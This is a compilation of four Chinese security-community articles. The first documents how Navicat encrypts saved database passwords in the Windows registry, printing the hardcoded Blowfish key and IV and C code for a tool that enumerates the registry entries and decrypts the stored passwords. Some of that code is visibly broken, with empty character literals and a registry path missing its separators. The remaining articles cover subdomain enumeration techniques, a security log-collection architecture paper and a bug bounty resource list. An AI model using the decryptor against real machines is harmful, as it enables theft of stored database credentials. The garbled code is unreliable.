Navicat将主机(Host),端口(Port),用户名(UserName)与加密后的密码(Pwd)保存到注册表中,不同的数据库连接对应的注册表路径不同,具体路径如下:
`Win+R`之后键入`regedit`打开注册表，按照上述路径去查找，可以看到刚刚我们建立的MySQL连接的相关键值对：
### 0x04.2 Navicat如何加密数据库密码
**0x04.2-1 Key**
Navicat使用SHA-1生成160位长度的密钥：
存放于无符号字符数组中：
unsigned char Key[20] = {
0x42, 0xCE, 0xB2, 0x71, 0xA5, 0xE4, 0x58, 0xB7,
0x4A, 0xEA, 0x93, 0x94, 0x79, 0x22, 0x35, 0x43,
0x91, 0x87, 0x33, 0x40
};
**0x04.2-2 IV**
Navicat在加解密过程中用到的IV是通过Blowfish Cipher加密8字节长度的`0xFFFFFFFFFFFFFFFF`得到，代码细节如下：
unsigned long l,r;
unsigned char IV[BLOCK_SIZE] = "";
int i;
BLOWFISH_CTX ctx;
//Initialize Initial Vector
l=0xFFFFFFFF;
r=0xFFFFFFFF;
Blowfish_Init(&ctx,Key,20);
Blowfish_Encrypt(&ctx,&l,&r);
for(i=3; i>=0; --i)
{
IV[i]=(unsigned char)(l & 0xFF);
l >>=8;
IV[i+4]=(unsigned char)(r & 0xFF);
r >>=8;
}
`Blowfish_Encrypt(&ctx,&l,&r)`之后的`for`循环是要将8字节长度密文逐字节赋值给IV数组中的每个元素，IV数组中每个元素值具体如下：
unsigned char IV[8] = {
0xD9, 0xC7, 0xC3, 0xC8, 0x87, 0x0D, 0x64, 0xBD
};
**0x04.2-3 Mode**
`0x03`部分中已经提到Navicat采用的分组密码模式并非5种主要加密模式之一，其采用的分组密码模式工作过程如下所示：
* 每个`PlaintextBlock`长度为8字节；在`Blowfish_Cipher`环节不需要提供密钥`Key`，密钥`Key`在调用`Blowfish_Init()`已经提供，Blowfish Cipher在加解密过程使用已经初始化的`ctx`进行。
* 只有剩余分组大小不足8字节时，才会进行上图中的最后一步。否则，一切照旧。
**0x04.2-4 密文存储**
按照分组密码模式，最终的密文应与明文长度一致，可注册表中保存的是”15057D7BA390”。这是因为Navicat在向注册表中写入的并非密文，而是十六进制表示的密文ASCII码。
## 0x05 Navicat Part of CDecryptPwd
> 由于此工具目前处于测试阶段，仍有许多有待完善之处，故暂时不公开源码，下面介绍的只是各环节的核心部分。
### 0x05.1 blowfish.c & blowfish.h
这两个文件直接使用的是Paul Kocher版本源码。
### 0x05.2 NavicatPartHeader.h
#include <stdio.h>
#include <string.h>
#include "blowfish.h"
#include <Windows.h>
#include <tchar.h>
#include <locale.h>
#define BLOCK_SIZE 8
#define KEYLENGTH 256
void XorText(unsigned char left[],unsigned char right[],unsigned char result[],unsigned long r_length);
unsigned long CharConvertLong(unsigned char Text[],short Len);
void LongConvertChar(unsigned long num,unsigned char Text[],short Len);
void Navicat_Encrypt(unsigned char PlainText[],unsigned char CipherText[]);
void Navicat_Decrypt(unsigned char CipherText[],unsigned char PlainText[]);
该文件包含了`NavicatPart.c`与`NavicatPartMain.c`文件中要使用到的头文件；定义了两个全局符号常量`BLOCK_SIZE`和`KEYLENGTH`，分别是分组长度与最大键值长度；以及`NavicatPart.c`中的函数原型声明。
### 0x05.3 XorText() & CharConvertLong() & LongConvertChar() of
`NavicatPart.c`
`void XorText(unsigned char left[],unsigned char right[],unsigned char
result[],unsigned long
r_length)`接受4个参数：左操作字符串、右操作字符串、结果字符串、右操作字符串长度，功能是左操作字符串与右操作字符串的异或运算。之所以使用右操作字符串长度控制何时结束，是因为考虑到模式的剩余分组可能会小于分组长度(8字节)。
void XorText(unsigned char left[],unsigned char right[],unsigned char result[],unsigned long r_length)
{
int i;
for(i=0;i<r_length;++i)
result[i]=left[i]^right[i];
}
`unsigned long CharConvertLong(unsigned char Text[],short
Len)`接受2个参数：转换字符串、其长度，功能是用十六进制ASCII码表示字符串，即该函数返回值。(e.g.:`unsigned char Test[5]
= {0xA4,0x37,0x98,0x56,''}`——>>`unsigned long T = CharConvertLong(Test, 4)=
0xA4379856`)
unsigned long CharConvertLong(unsigned char Text[],short Len)
{
unsigned long result=0;
short i;
for(i=0;i<Len;++i)
{
result <<=8;
result |=Text[i];
}
return result;
}
`void LongConvertChar(unsigned long num,unsigned char Text[],short
Len)`接受3个参数：转换数、存储字符串、长度，功能与上一函数相反，是将数值的十六进制表示逐字节分割后赋给存储字符串中每个元素。(e.g.:`unsigned
long T = 0xA4379856`——>>`unsigned char Test[5] = LongConvertChar(T,Test,4) =
{0xA4,0x37,0x98,0x56,''};`)
void LongConvertChar(unsigned long num,unsigned char Text[],short Len)
{
short i;
for(i=Len-1;i>=0;--i)
{
Text[i]=(unsigned char)(num & 0xFF);
num >>=8;
}
}
### 0x05.4 Navicat_Encrypt() of `NavicatPart.c`
void Navicat_Encrypt(unsigned char PlainText[],unsigned char CipherText[])
{
unsigned long l,r,TextLength,block,remain,l_temp,r_temp;
unsigned char IV[BLOCK_SIZE] = "";
unsigned char c_temp[BLOCK_SIZE + 1] = "";
int i;
BLOWFISH_CTX ctx;
//Initialize Initial Vector
l=0xFFFFFFFF;
r=0xFFFFFFFF;
Blowfish_Init(&ctx,Key,20);
Blowfish_Encrypt(&ctx,&l,&r);
for(i=3; i>=0; --i)
{
IV[i]=(unsigned char)(l & 0xFF);
l >>=8;
IV[i+4]=(unsigned char)(r & 0xFF);
r >>=8;
}
//Encrypt PlainText
TextLength=strlen(PlainText);
block=TextLength/BLOCK_SIZE;
remain=TextLength%BLOCK_SIZE;
for(i=0;i<block;++i)
{
memcpy(c_temp, PlainText + i * BLOCK_SIZE, BLOCK_SIZE);
c_temp[BLOCK_SIZE] = '';
XorText(IV,c_temp,c_temp,BLOCK_SIZE);
l_temp=CharConvertLong(c_temp,4);
r_temp=CharConvertLong(c_temp+4,4);
Blowfish_Encrypt(&ctx,&l_temp,&r_temp);
LongConvertChar(l_temp,c_temp,4);
LongConvertChar(r_temp,c_temp+4,4);
memcpy(CipherText + i * BLOCK_SIZE, c_temp, BLOCK_SIZE);
XorText(IV,c_temp,IV,BLOCK_SIZE);
}
if(remain)
{
l_temp=CharConvertLong(IV,4);
r_temp=CharConvertLong(IV+4,4);
Blowfish_Encrypt(&ctx,&l_temp,&r_temp);
LongConvertChar(l_temp,IV,4);
LongConvertChar(r_temp,IV+4,4);
memcpy(c_temp, PlainText + i * BLOCK_SIZE, remain);
c_temp[remain] = '';
XorText(IV,c_temp,c_temp,remain);
memcpy(CipherText + i * BLOCK_SIZE, c_temp, remain);
}
}
该函数在`main`中并未使用。
1. 初始化IV上面已经介绍，不再赘述，需提示一点：这一部分不能作为函数独立，然后在`Navicat_Encrypt()`中调用该函数，因为下面的Blowfish Cipher加密要使用其初始化的ctx。
2. 第二个`for`循环部分完成`0x04.2-3`图中给出的前(n-1)步的过程。
3. `if`部分是处理剩余分组大小不足8字节的情况，即第n步。
4. `CharConverLong()`与`LongConverChar()`的存在是因Paul Kocher版本源只能处理无符号长整型。
### 0x05.5 Navicat_Decrypt() of `NavicatPart.c`
void Navicat_Decrypt(unsigned char CipherText[],unsigned char PlainText[])
{
unsigned long l,r,TextLength,block,remain,l_temp,r_temp;
unsigned char IV[BLOCK_SIZE] = "";
unsigned char c_temp1[BLOCK_SIZE+1] = "";
unsigned char c_temp2[BLOCK_SIZE+1] = "";
int i;
BLOWFISH_CTX ctx;
//Initialize Initial Vector
l=0xFFFFFFFF;
r=0xFFFFFFFF;
Blowfish_Init(&ctx,Key,20);
Blowfish_Encrypt(&ctx,&l,&r);
for(i=3; i>=0; --i)
{
IV[i]=(unsigned char)(l & 0xFF);
l >>=8;
IV[i+4]=(unsigned char)(r & 0xFF);
r >>=8;
}
//Decrypt CipherText
TextLength=strlen(CipherText);
block=TextLength/BLOCK_SIZE;
remain=TextLength%BLOCK_SIZE;
for(i=0;i<block;++i)
{
memcpy(c_temp1, CipherText + i * BLOCK_SIZE, BLOCK_SIZE);
c_temp1[BLOCK_SIZE] = '';
memcpy(c_temp2, CipherText + i * BLOCK_SIZE, BLOCK_SIZE);
c_temp2[BLOCK_SIZE] = '';
l_temp=CharConvertLong(c_temp1,4);
r_temp=CharConvertLong(c_temp1+4,4);
Blowfish_Decrypt(&ctx,&l_temp,&r_temp);
LongConvertChar(l_temp,c_temp1,4);
LongConvertChar(r_temp,c_temp1+4,4);
XorText(IV,c_temp1,c_temp1,BLOCK_SIZE);
memcpy(PlainText+i*BLOCK_SIZE, c_temp1, BLOCK_SIZE);
XorText(IV,c_temp2,IV,BLOCK_SIZE);
}
if(remain)
{
l_temp=CharConvertLong(IV,4);
r_temp=CharConvertLong(IV+4,4);
Blowfish_Encrypt(&ctx,&l_temp,&r_temp);
LongConvertChar(l_temp,IV,4);
LongConvertChar(r_temp,IV+4,4);
memcpy(c_temp1, CipherText + i * BLOCK_SIZE, remain);
c_temp1[remain] = '';
XorText(IV,c_temp1, c_temp1,remain);
memcpy(PlainText + i * BLOCK_SIZE, c_temp1, remain);
}
}
解密过程可参照下图理解：
除了多一步密文分组的拷贝，其余都是加密过程的逆过程，不再赘述。
### 0x05.6 main() of `NavicatPartMain.c`
主程序功能：
* 遍历注册表，路径前缀`计算机HKEY_CURRENT_USERSoftwarePremiumSoft`不变，变化的是与其拼接的字符串，可根据Navicat写入注册表时创建路径的规律来进行拼接：
`Data`与`NavicatPremium`子项均与存储数据库相关信息无关，不包含`Servers`，而存储数据库相关信息的`Navicat`与`NavicatPG`子项均包含`Servers`，所以可进行这一判断来决定是否要用`RegEnumKeyEx()`遍历`Servers`下的子项。
* 使用`RegEnumValue()`遍历`Servers`子项中的键值对，主要是Host、UserName、Pwd、Port四项。在读取Pwd值之后传递给`Navicat_Decrypt()`进行解密。需要说明一点：在读取Port之前，读取类型要从`REG_SZ`转为`REG_DWORD`，否则读出的值无意义。
运行效果图：
## 0x06 参考
* [Wikipedia](https://en.wikipedia.org/wiki/Blowfish_\(cipher)
* [圆周率小数部分](http://www.super-computing.org/pi-hexa_current.html)
* 《图解密码技术(第三版)》
* [how-does-navicat-encrypt-password](https://github.com/DoubleLabyrinth/how-does-navicat-encrypt-password) | 社区文章 |
# 【技术分享】子域名搜集思路与技巧梳理
|
##### 译文声明
本文是翻译文章，文章来源：网易安全应急响应中心NSRC
原文地址：<http://www.freebuf.com/articles/web/117006.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
本文适合Web安全爱好者，其中会提到8种思路，7个工具和还有1个小程序，看本文前需要了解相关的Web基础知识、子域名相关概念和Python 程序的基础知识。
感谢我的好友龙哥的技巧大放送以及Oritz分享的小程序~
首先我们引用一句名言作为开篇：
在渗透测试中，信息搜集能力的差距，不明显，也最明显。
这句话是龙哥说的，而在技术分享上，我们觉得授之以鱼之前，更重要的是授之以渔。因此本篇文章首先进行子域名搜集思路的梳理，抛砖引玉，然后介绍一下常用的工具，最后分享一个基于
HTTPS 证书的子域名查询小工具。
**思路梳理及操作图示**
**1、Web子域名猜测与访问尝试**
最简单的一种方法，对于 Web 子域名来说，猜测一些可能的子域名，然后浏览器访问下看是否存在。
**2、搜索引擎查询**
比如 site:163.com
**3、查询DNS的一些解析记录**
如查询 MX、CNAME 记录等
比如用 nslookup 命令
nslookup -qt=any bing.com
还有一种基于DNS查询的暴力破解，举个栗子，比如用 nslookup 命令挨个查询猜测的子域名，看能否查询到结果。
**4、爬虫爬取页面提取子域名**
可以利用爬虫从页面源代码中提取子域名
以 burp 的爬虫为例：
**5、crossdomain.xml 文件**
**6、通过 IP 反查（类似于旁站查询）**
至于 IP 如何获取，也会有一些玩法，有机会咱们再梳理。
**7、通过 HTTPS 证书搜集**
**8、一些漏洞的利用**
如： DNS 域传送漏洞
**常用工具梳理**
**1、在线工具**
有很多子域名的查询站点，可以搜索“子域名查询”寻找，如：
1）<http://i.links.cn/subdomain/> 可查询二级、三级等子域名
2）<http://dns.aizhan.com/> 查询同 IP 绑定了哪些域名
3）<https://crt.sh/> 根据 HTTPS 证书查询子域名
**2、本地工具**
1）Layer 子域名挖掘机
2）wydomain
猪猪侠：[https://github.com/ring04h/wydomain](https://github.com/ring04h/wydomain)
3）subDomainsBrute
lijiejie:<https://github.com/lijiejie/subDomainsBrute>
4）Sublist3r
aboul3la:
[https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r)
**小程序分享**
最后分享下团队小伙伴 Oritz 写的基于 HTTPS 证书的子域名收集练习小程序 “GetDomainsBySSL.py”
，程序异常处理之类的还没完善，感兴趣的小伙伴可以当做例子继续开发哦。
下载链接：[[Youdao]](http://note.youdao.com/share/?id=247d97fc1d98b122ef9804906356d47a&type=note#/)
程序原理：集成了 crt.sh 和 Google 的查询接口，以及调用 OpenSSL 去解析 HTTPS 证书的信息（需要说明的是，Google
的查询接口可能需要代理访问，而 OpenSSL 模块在 Linux 下通常自带）。
程序依赖的模块：
1）lxml：<https://pypi.python.org/pypi/lxml/2.3/>
2）OpenSSL
Windows下运行（没有OpenSSL的情况运行）：
Linux下运行（kali自带了OpenSSL模块）：
好了，时间过得真快，又到了说再见的时候。今天的小分享就到这里，一句话概括就是8 种思路，7 个工具，还有 1个小程序，欢迎交流讨论哦~ | 社区文章 |
# 用于云服务和应用程序的网络安全可编程性的数据日志管理
|
##### 译文声明
本文是翻译文章，文章原作者 zenodo，文章来源：zenodo.org
原文地址：<https://zenodo.org/record/3813158/files/cysarm-2.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01摘要
近年来，考虑到网络攻击的复杂性和多样化，安全设备正变得更加重要和严峻。当前的解决方案非常笨拙，无法在虚拟服务和物联网（IoT）设备中运行。
因此，有必要发展到更优秀的模型，该模型从大量的异构源中收集与安全相关的数据，以进行集中分析和校正。
在本文中，我们提出了用于访问安全上下文的灵活抽象层概念。它旨在通过部署在云应用程序和IoT设备中的轻量级检查和执行挂钩来编程和收集数据。
通过回顾主要软件组件及其作用，我们对其实现进行了描述。
最后，我们通过对PoC实施的性能评估来测试此抽象层，以评估从虚拟服务和IoT收集数据/日志以进行集中式安全性分析的有效性。
## 0x02简介
通过云范式中的虚拟化，可以在构建和运行信息与通信技术（ICT）服务中实现敏捷性和成本效益。 但是，与当前的旧版部署不同，它们带来了更多的安全问题。
物理和虚拟服务类似于相同的开发结构。
在基础设施即服务（IaaS）模型中，常见的做法是将每个软件应用程序部署在不同的虚拟化环境中，虚拟化环境可以是虚拟机，也可以是软件容器。然后通过虚拟网络链接将它们互连。
这样，单个虚拟机的故障就不必影响整个服务。 应用程序可以轻松打包并以云映像形式交付。
虚拟化基础架构中安全机制的局限性，例如分布式防火墙和安全组； 在跨云部署中协调它们的难度；
第三方提供的信任安全服务的典型差异促使人们越来越倾向于在虚拟服务的拓扑结构中插入遗留的安全设备。
与此相反，这种方法有几个问题：i）每个设备都有自己的检查钩； ii）由于协议和应用程序的数量和复杂性，检测需要大量的计算资源；
iii）复杂的安全设备无法抵抗错误和漏洞。
考虑到这些方面，需要新的体系结构范例来建立虚拟服务的态势感知。
这样，通过将细粒度的信息与有效的处理，弹性与鲁棒性，自主性与交互性相结合，就可以克服上述局限性。 因此，有必要从独立的安全设备过渡到更协作的模型。
对于协作模型，我们指的是一种集中式体系结构，其中从给定域内的多个来源收集安全信息，数据和事件，以进行公共分析和关联。
对于所有主要的网络安全应用程序供应商而言，这是当今的趋势，这些供应商正越来越多地为企业开发安全事件和信息管理以及安全分析软件，并利用机器学习和其他人工智能技术进行数据关联和识别攻击。
它们被设计为现有安全应用程序的集成工具，并要求在每个主机上运行重量级的进程。 因此，它们不适用于虚拟服务。
另外，集中式体系结构提高了检测率，同时减少了每个终端的开销。 另一方面，由于上下文不断变化，因此服务图的安全性管理是一项艰巨的任务。
将安全设备集成到服务图设计中并不是最佳解决方案，因为它需要手动操作。 取而代之的是，应该通过定义描述要求的内容而不是如何实现的策略和约束来抽象地描述安全性。
在本文中，我们描述了抽象层的定义，以为检测逻辑提供对虚拟化服务的异构安全上下文的统一和双向访问。
我们工作的新颖性在于在内核或系统库中抽象了轻量级的可编程钩子，而无需在VM内部署复杂而繁琐的安全设备或在整体服务图中将其部署为单独的组件。
对安全性上下文的收集和强制性规则的配置（这是双向访问的手段）进行编程的能力，只是对已经作为商业或开源实现可用的log 7收集工具的数量的重大改进。
本文的其余部分安排如下。
我们将在第2节中描述整个ASTRID体系结构。然后，在第3节中详细说明抽象层的概念及其体系结构设计，同时在第4节中讨论当前的实现，并对所选技术进行详尽的描述。
然后，在第5节中，我们提供了概念验证实施的功能验证和广泛的性能评估，包括与本地监视/执行代理的集成。
## 0x03 ASTRID结构
图1显示了组织ASTRID多层体系结构的三个互补平面。 尽管我们的体系结构与网络运营商没有直接关系，但我们使用网络术语。
ASTRID是一种多层体系结构，在该体系结构中，公用，可编程且普及的数据平面可提供一组强大的多供应商检测和分析算法（业务逻辑）。
一方面，挑战在于通过实时收集来自多个毛细血管来源的大量事件，在多个站点上集合广泛的知识，同时保持诸如转发速度，可伸缩性，自治性，可用性，容错性之类的基本属性。
，抵制妥协和响应能力。
另一方面，其目标是通过空间和时间上的域间和域内数据关联来支持更好和更可靠的态势感知，以便及时检测和响应甚至更复杂的多矢量和跨学科网络攻击 。
图1 ASTRID结构
数据平面是虚拟化环境中部署的体系结构的唯一部分。 它收集安全上下文，即包括事件，日志，措施的知识库，可用于检测已知攻击或识别新威胁。
通用控制平面的主要优点之一是可以从不同子系统（磁盘，网络，内存，I / O）获得数据，而不是像如今的通用做法那样依赖单一信息源。
由于从多个来源收集数据很容易导致过多的网络开销，因此根据实际需要调整检查，监视和收集过程非常重要。
因此，数据平面必须支持单个组件的重新配置及其虚拟化环境的编程，才能更改报告行为，包括每个应用程序特征的参数（日志，事件），网络流量，系统调用，远程过程调用
（RPC）指向远程应用程序。 编程还包括将轻量级聚合和处理任务卸载到每个虚拟环境的功能，从而减少了带宽需求和延迟。
对执行环境进行编程的灵活性有望潜在地导致所收集数据的种类和详细程度上的巨大异质性。
例如，某些虚拟功能可能报告详细的数据包统计信息，而其他功能可能仅报告应用程序日志。 另外，对于每个执行环境，报告的频率和粒度可能有所不同。
数据在时间和空间维度上的相关性自然会导致针对不同的时刻和功能并发请求相同类型的信息。
最后，最后一个要求是执行快速查找和查询的能力，还包括某些形式的数据融合。
应该允许客户端定义所需数据的结构，并从服务器返回完全相同的数据结构，从而防止返回过多的数据。
当需要了解不断变化的情况并识别攻击的能力要求检索和关联超出典型查询模式的数据时，这可能会变得有用。
控制平面是逻辑上和集中式算法的集合，用于检测攻击和识别新威胁。 每种算法都从公共数据平面检索所需的数据。
这代表了所提出的框架背后的一项主要创新：的确，每种算法都对整个系统具有完全的可见性，而无需在每个虚拟功能中部署本地代理，这些代理通常执行相同或类似的检查操作。
控制平面还应包括编程功能，以将本地处理任务配置和卸载到数据平面，从而有效地平衡检查深度与所产生的开销。
除了单纯地（重新）实现性能和效率方面的传统设备之外，ASTRID方法还专门为通过结合检测方法（基于规则，机器学习）而为新一代检测智能铺平了道路。
大数据技术；
目的是在图形及其组件中定位漏洞，识别可能的威胁，并及时检测正在进行的攻击。对来自多个交织域的安全日志，事件和网络流量的组合分析可以极大地增强检测能力
能力，特别是在大型多向量攻击的情况下。
在这方面，机器学习和人工智能的应用将有助于检查和关联大量数据，事件和度量，这些数据，事件和度量必须进行分析才能可靠地检测和识别甚至复杂的多矢量攻击。
管理平面的构想是使人员处于循环中。它会通知检测到的攻击和异常情况，以便在检查过程中需要人员专门知识来补充人工智能时，可以访问整个上下文。
管理平面通过定义高级策略来支持快速有效的补救措施，然后将这些策略从控制平面转换为特定的数据平面配置。
管理平面还与业务流程工具无缝集成，业务流程工具有望广泛用于自动化虚拟服务的部署和生命周期操作。
## 0x04 数据平面的抽象层
抽象层的主要目的是提供对底层数据平面功能的统一访问。 根据第2节中的一般描述，数据平面由异构检查，测量和实施挂钩组成，它们在虚拟化环境中实现。
这些挂钩包括程序员在其软件中开发的日志记录和事件报告，以及内核和系统库中内置的监视和检查功能，这些功能可检查网络流量和系统调用。
它们是可编程的，因为它们可以在运行时进行配置，从而根据不断发展的环境来调整系统行为。
这意味着可以有选择地在本地调整数据包筛选器，事件报告的类型和频率以及日志记录的详细程度，以获取准确的知识量，而不会因不必要的信息而使整个系统不知所措。
目的是在检测到可能表示攻击的异常或网络安全团队发出有关刚刚发现的新威胁和漏洞的警告时，获取关键或易受攻击组件的更多详细信息。
这种方法即使在并行发现和缓解的情况下，也可以在风险较低的情况下以较低的开销进行轻量级的操作，同时在异常和可疑活动的情况下切换到更深入的检查和更大的事件关联性。
即使对于最大的服务，这也可以随着系统复杂性进行扩展。
抽象层涵盖两个主要方面：i）隐藏监视钩的技术异质性； ii）抽象整个服务图和每个节点的功能。
图2为预想的抽象的示意图。 在本地，在每个虚拟化框中，本地安全代理（LSA）为不同的钩子提供了公共接口。 然后，将整个图拓扑抽象为中心辐射图。
在此模型中，每个节点代表一个虚拟功能，每个节点链接一条通信路径。 节点的附属节点是安全属性；
它们既包括监视/检查功能（可以收集，测量和检索的内容），也包括相关数据（度量，事件，日志）。
同样，链接也具有与加密机制和利用率度量有关的属性（尽管未在图中明确显示）。
图2 抽象示意图
为了提供综合指标，还可以将数据融合作为整体抽象框架的一部分。 基本数据的预处理和聚合可以通过相同的查询完成，因此可以优化抽象模型中的查找。
抽象层还包括存储功能，因此可以为在线和离线分析提供实时和历史信息。 在这种抽象中，总体拓扑和安全功能由协调器设置，而安全数据由LSA馈送。
## 0x05 实现
如上一节所述，数据平面是体系结构中负责差异操作的部分：i）收集安全上下文（就事件，日志，度量等而言），以及ii）实施安全策略（就术语而言）
数据包过滤，执行环境的重新配置等）。
ELK堆栈提供的集中式日志记录可在中心位置搜索所有数据。
它是开放源代码软件工具的多功能集合，这些软件工具是基于分布式日志收集器方法实现的，该方法可从数据更轻松地收集见解。
简而言之，ELK堆栈由三个核心项目组成：i）作为搜索和分析引擎的Elasticsearch，ii）用于数据处理和转换管道的Logstash，以及iii）Kibana
Web UI以可视化数据。 它们共同构成了缩写ELK。
之后，Elastic启动了第四个项目Beats（轻量级和单用途数据托运人），并决定将所有项目的组合重命名为简单的Elastic Stack。
图3显示了概念验证（PoC）实施的体系结构。 生成各种类型的数据，例如系统日志文件，数据库日志文件，消息队列生成的日志以及其他中间件。
这些数据由安装在所有虚拟功能（服务）上的Beats收集。 Beats以固定的时间间隔将日志发送到Logstash的本地实例。
然后，Logstash在进行一些轻量数据处理之后，将处理后的输出发送到Context
Broker（CB），后者是收集数据并保存以进行集中分析和关联的集中节点。 在CB内部，Kafka将数据发送到Logstash的本地实例。
在处理之后，Logstash将数据发送到Elasticsearch，Elasticsearch将对该数据进行索引和存储。
最后，Kibana提供了用于搜索和分析数据的可视界面。
图3 实现结构
## 0x06 结论
在本文中，我们概述了抽象层的主要功能和初步设计，这些抽象层提供了对异构信息和源集合的双向访问。
这种方法使大数据集可用于机器学习和其他人工智能机制的应用，而机器学习和其他人工智能机制目前是新一代威胁检测算法的主要研究领域。
与现有方法不同，我们的目标是公开执行环境的可编程功能，这些功能可用于对本地检查和监视任务进行编程。
我们将详细描述基于与Kafka消息代理集成的ELK堆栈的体系结构，以及如何满足收集用于网络安全分析的日志的需求。
我们提供PoC实施的功能验证和广泛的性能评估，包括与本地监控/执行代理的集成。 结果表明，考虑到容量，该架构能够在不使用最大资源的情况下立即收集数据。
在所用资源的限制下（当每秒的事件数等于1000，并且独立于轮询间隔值时），虚拟函数中的拍子无法在不引入明显延迟的情况下收集数据。 | 社区文章 |
本文翻译自：[Researcher Resources - How to become a Bug Bounty
Hunter](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102)
恭喜你！当你决定当一个安全研究员并且准备学习一些新的技能时候，是非常令人激动。我们将在下面收集一些资源来帮助你开始你的安全之旅。请跟着我的脚步往下读。
# 1\. 开始阅读
买一些渗透测试和漏洞挖掘的基础入门书。因为给赏金的漏洞通常会包括一些web目标，我们将集中精力先成为一个搞web的黑客，然后再探索其他的领域。
注意：
把兴趣集中在一个领域对于一个黑客是非常重要的。不要想着成为一个全能的黑客而去学习所有的知识，要把精力集中到某一个领域并且持续持续学习。在bugcrows中最厉害的黑客都有自己专长的领域，但是他们不能黑掉所有的东西。
**学习黑客知识是需要很长时间的**
下面是俩本入门书：
（1） [The Web Application Hacker’s
Handbook](https://www.amazon.com/gp/product/1118026470/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1118026470&linkCode=as2&tag=bugcrowd-20&linkId=9f9c5e3f51e50ea7092a21a04aec184f/)
这本书是必读的书并且这本书被web狗们奉为圣经一样。这本书从起点开始，一步步教你安装kali Linux，之后教你如何使用工具和寻找exp
（2）[OWASP Testing Guide
v4](https://www.owasp.org/index.php/OWASP_Testing_Project)
Bugcrowd的Jason Haddix力荐这本书
下面是一些进阶书：
[Penetration Testing](http://amzn.to/2dhHTSn)
[The Hacker Playbook 2: Practical Guide to Penetration
Testing](http://amzn.to/2d9wYKa)
[The Tangled Web: A Guide to Securing Web
Applications](http://amzn.to/2dNOeaq)
下面是一些给做移动安全的小伙伴的书籍：
[The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE)
[iOS Application Security](http://amzn.to/2d9yo7m)
# 2\. 多去练习！
你要确保理解和留住你所学到的东西，这点是非常重要的。有一种非常好的方式就是在模拟的漏洞环境中练习自己的技能。通过模拟方式可以解决现实中遇到的问题。下面是用来练习的网站：
[Hacksplaining](https://www.hacksplaining.com/exercises)
在这个网站里面可以学习到各种web黑客的技能，并且知道他们是怎么样做到的。这其实更像一个真实的演练。非常有用
[Penetration Testing Practice
Labs](http://www.amanhardikar.com/mindmaps/Practice.html)
这个网站包含了大量可以被用来练习的应用和系统。在这个网站中可以找到很多练手的系统，这些系统也可以提高你的技能。
# 3\. 要经常去读别人的write-ups、poc和YouTube上的视频教程
现在你已经基本明白怎样去发现和利用安全漏洞了，是时候去开始了解更多黑客在各自领域工作的成果了。很幸运的是，安全研究社区通常会乐意分享知识，并且我们也会收集wp和视频的列表。下面是一些网站：
[Bug Bounty write-ups and POCs](https://forum.bugcrowd.com/t/researcher-resources-bounty-bug-write-ups/1137)
从一些成功的赏金猎人手里收集的漏洞报告
[Bug Hunting Tutorials](https://forum.bugcrowd.com/t/researcher-resources-tutorials/370)
我们从Bugcrowd和beyond社区中收集了一些很棒的教程
[/r/Netsec on Reddit](https://www.reddit.com/r/netsec)
Reddit上的Netsec几乎完全是技术文章和其他研究人员的POC，非常棒的资源
[JackkTutorials on
YouTubey](https://www.youtube.com/user/JackkTutorials/videos)
jackk 创建了很多的教学视频，包括csrf，xss，sql注入，目标发现等……
[DEFCON Conference videos on
YouTube](https://www.youtube.com/user/DEFCONConference/videos)
历年的DEFCON中演讲的视频，非常有用
[Hak5 on YouTube](https://www.youtube.com/user/Hak5Darren/playlists)
Hak5是典型的硬件黑客，除此之外，他们还有“Metasploit Minute”节目，tips:还有NMAP的教程
## 3.1 收集一些常用的攻击工具
工具不能把一枚小白变成黑客，但是这些工具确实非常有用，Bugcrowd推荐了大量工具，大家可以把这些工具尽情的收藏起来
[Bugcrowd Researcher Resources -Tools](https://forum.bugcrowd.com/t/researcher-resources-tools/167)
# 4\. 加入到一些社区里面
你需要加入到一个拥有29000个黑客的社区，幸运的是他们中的大多数都非常乐意分享自己当前的研究
[在推特上关注白帽子](https://twitter.com/Bugcrowd/lists/security-researchers/members)
上面一些赏金猎人的推特，大家可以去关注
[Join the #Bugcrowd IRC
channel](http://webchat.freenode.net/?channels=#bugcrowd)
这个irc频道里面有超过100位安全研究员
[Follow @Bugcrowd on Twitter](https://twitter.com/bugcrowd)
关注bugcrowd可以看到最新的安全信息
[Join the Bugcrowd Forum](https://forum.bugcrowd.com/)
可以获得更多的资源并且能和更多的安全研究员做交流
# 5\. 开始了解更多关于漏洞赏金的事情吧
现在我们几乎到了开始挖掘赏金的时候了，但是首先，我们去了解漏洞赏金猎人是怎么工作的，是如何开始这一切的。这些能保证我们能更加成功。
[如何更加接近目标](https://forum.bugcrowd.com/t/how-do-you-approach-a-target/293)
听取他赏金猎人中的建议，可以帮助你更一步的接近漏洞赏金
[如何写一份超棒的漏洞报告](https://blog.bugcrowd.com/advice-for-writing-a-great-vulnerability-report/)
他将指导你编写一个很棒的漏洞报告。一份很棒的报告就会有更大的机会获得赏金。
[如何写poc](https://blog.bugcrowd.com/writing-up-a-poc-by-planet-zuda)
poc可以向客户展示漏洞是怎样被利用的和它是如何工作的。这对成功获得奖励至关重要。
[如何报告一个漏洞](https://researcherdocs.bugcrowd.com/docs/reporting-a-bug)
我们建议通过Bugcrowd平台来报告漏洞
[漏洞披露政策](https://researcherdocs.bugcrowd.com/docs/disclosure)
有一些规则必须被遵守。了解赏金计划的摘要和披露政策是非常重要的
## 5.1 了解一位赏金猎人挖漏洞的方法
这展示了@jhaddix 在15年DEFCON的演讲，这个视频里面介绍他是怎样成功挖掘到漏洞的，非常有用。下面是他的github和视频
<https://github.com/jhaddix/tbhm>
<https://www.youtube.com/watch?v=VtFuAH19Qz0>
# 6\. 放手去干吧
是时候去放手去干了！当你是个新手的时候，最好不要试图去找特别流行厂商的漏洞，如果初学者试图去找特斯拉，facebook，Pinterest等这些公司的漏洞话，会感受到很大挫折，因为这些流行厂商会非常注重安全并且会收到很多漏洞报告
[挖一下只给积分的厂商](https://bugcrowd.com/programs/points-only)(原文里面的Kudos似乎是一种积分)
